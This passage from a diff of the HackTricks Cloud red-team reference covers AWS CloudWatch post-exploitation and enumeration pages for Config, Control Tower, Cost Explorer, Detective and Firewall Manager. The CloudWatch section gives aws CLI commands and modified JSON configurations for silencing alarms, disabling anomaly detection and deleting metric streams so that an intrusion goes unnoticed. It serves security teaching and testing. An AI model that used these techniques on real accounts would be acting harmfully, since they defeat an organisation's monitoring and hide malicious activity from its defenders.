An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents.
In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete.
```bash
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
aws cloudwatch delete-alarms --alarm-names <value>
aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--no-actions-enabled | --actions-enabled [--alarm-actions <value>] [--insufficient-data-actions <value>] [--ok-actions <value>] ]
```
The following example shows how to make a metric alarm ineffective:
* This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic.
* By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm.
{% tabs %}
{% tab title="Original Metric Alarm" %}
```json
{
"Namespace": "AWS/EC2",
"MetricName": "CPUUtilization",
"Dimensions": [
{
"Name": "InstanceId",
"Value": "i-01234567890123456"
}
],
"AlarmActions": [
"arn:aws:sns:us-east-1:123456789012:example_sns"
],
"ComparisonOperator": "GreaterThanThreshold",
"DatapointsToAlarm": 4,
"EvaluationPeriods": 6,
"Period": 300,
"Statistic": "Average",
"Threshold": 60,
"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%",
"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization"
}
```
{% endtab %}
{% tab title="Modified Metric Alarm" %}
```json
{
"Namespace": "AWS/EC2",
"MetricName": "CPUUtilization",
"Dimensions": [
{
"Name": "InstanceId",
"Value": "i-0645d6d414dadf9f8"
}
],
"AlarmActions": [],
"ComparisonOperator": "GreaterThanThreshold",
"DatapointsToAlarm": 8640,
"EvaluationPeriods": 8640,
"Period": 10,
"Statistic": "Average",
"Threshold": 99,
"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold",
"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization"
}
```
{% endtab %}
{% endtabs %}
**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response.
In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures.
* If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration.
```bash
aws cloudwatch disable-alarm-actions --alarm-names <value>
aws cloudwatch enable-alarm-actions --alarm-names <value>
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
```
**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring.
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
```
The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period.
{% tabs %}
{% tab title="Original Metric Anomaly Detector" %}
```json
{
"SingleMetricAnomalyDetector": {
"Namespace": "AWS/EC2",
"MetricName": "CPUUtilization",
"Stat": "Average",
"Dimensions": [
{
"Name": "InstanceId",
"Value": "i-0123456789abcdefg"
}
]
}
}
```
{% endtab %}
{% tab title="Modified Metric Anomaly Detector" %}
```json
{
"SingleMetricAnomalyDetector": {
"Namespace": "AWS/EC2",
"MetricName": "CPUUtilization",
"Stat": "Average",
"Dimensions": [
{
"Name": "InstanceId",
"Value": "i-0123456789abcdefg"
}
]
},
"Configuration": {
"ExcludedTimeRanges": [
{
"StartTime": "2023-01-01T00:00:00Z",
"EndTime": "2053-01-01T23:59:59Z"
}
],
"Timezone": "Europe/Madrid"
}
}
```
{% endtab %}
{% endtabs %}
**Potential Impact**: Direct effect in the detection of unusual patterns or security threats.
### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities.
```bash
aws cloudwatch delete-dashboards --dashboard-names <value>
aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
```
**Potential Impact**: Loss of monitoring visibility and misleading information.
### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team.
```bash
aws cloudwatch delete-insight-rules --rule-names <value>
aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
aws cloudwatch put-managed-insight-rules --managed-rules <value>
```
**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures.
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity.
```bash
aws cloudwatch disable-insight-rules --rule-names <value>
aws cloudwatch enable-insight-rules --rule-names <value>
```
**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts.
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity:
* **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations.
* **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues.
* **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden.
Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless.
```bash
aws cloudwatch delete-metric-stream --name <value>
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
aws cloudwatch put-metric-data --namespace <value> [--metric-data <value>] [--metric-name <value>] [--timestamp <value>] [--unit <value>] [--value <value>] [--dimensions <value>]
```
Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance:
```bash
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
```
**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams.
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams.
```bash
aws cloudwatch stop-metric-streams --names <value>
aws cloudwatch start-metric-streams --names <value>
```
**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents.
### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags.
```bash
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
```
**Potential Impact**: Disruption of tag-based access control policies.
## References
* [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info)
* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html)
* [https://docs.aws.amazon.com/es\_es/AmazonCloudWatch/latest/monitoring/cloudwatch\_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,72 @@
# AWS - Config Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS Config
AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**.
A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too.
* **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
* **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
* **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
* **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
* **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type.
**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data.
**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources.
**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account.
### Functioning
* When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config
* Stores everything in S3 bucket
* Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings
* Lambda feeds back to Config
* If rule has been broken, Config fires up an SNS
![](<../../../../.gitbook/assets/image (126).png>)
### Config Rules
Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\
AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted.
* **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
* **Custom rules**: You can create your own rules to check specific customconfigurations.
Limit of 50 config rules per region before you need to contact AWS for an increase.\
Non compliant results are NOT deleted.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,72 @@
# AWS - Control Tower Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Control Tower
{% hint style="info" %}
In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from COntrol Tower that will be applied on them.
{% endhint %}
AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS.
AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog.
With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies.
In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs.
Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives.
### Enumeration
For enumerating controltower controls, you first need to **have enumerated the org**:
{% content-ref url="../aws-organizations-enum.md" %}
[aws-organizations-enum.md](../aws-organizations-enum.md)
{% endcontent-ref %}
{% code overflow="wrap" %}
```bash
# Get controls applied in an account
aws controltower list-enabled-controls --target-identifier arn:aws:organizations::<acc_id>:ou/<ou-id>
```
{% endcode %}
{% hint style="warning" %}
Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts
{% endhint %}
### Post Exploitation & Persistence
{% content-ref url="../../aws-post-exploitation/aws-control-tower-post-exploitation.md" %}
[aws-control-tower-post-exploitation.md](../../aws-post-exploitation/aws-control-tower-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,41 @@
# AWS - Cost Explorer Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cost Explorer and Anomaly detection
This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\
Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**.
### Budgets
Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\
Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,42 @@
# AWS - Detective Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Detective
**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations.
The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause.
## References
* [https://aws.amazon.com/detective/](https://aws.amazon.com/detective/)
* [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,330 @@
# AWS - Firewall Manager Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Firewall Manager
**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones.
The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account.
A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers.
AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists:
* **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version.
* **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required.
It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option.
### Prerequisites
The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment:
1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization.
2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts.
3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management.
4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors.
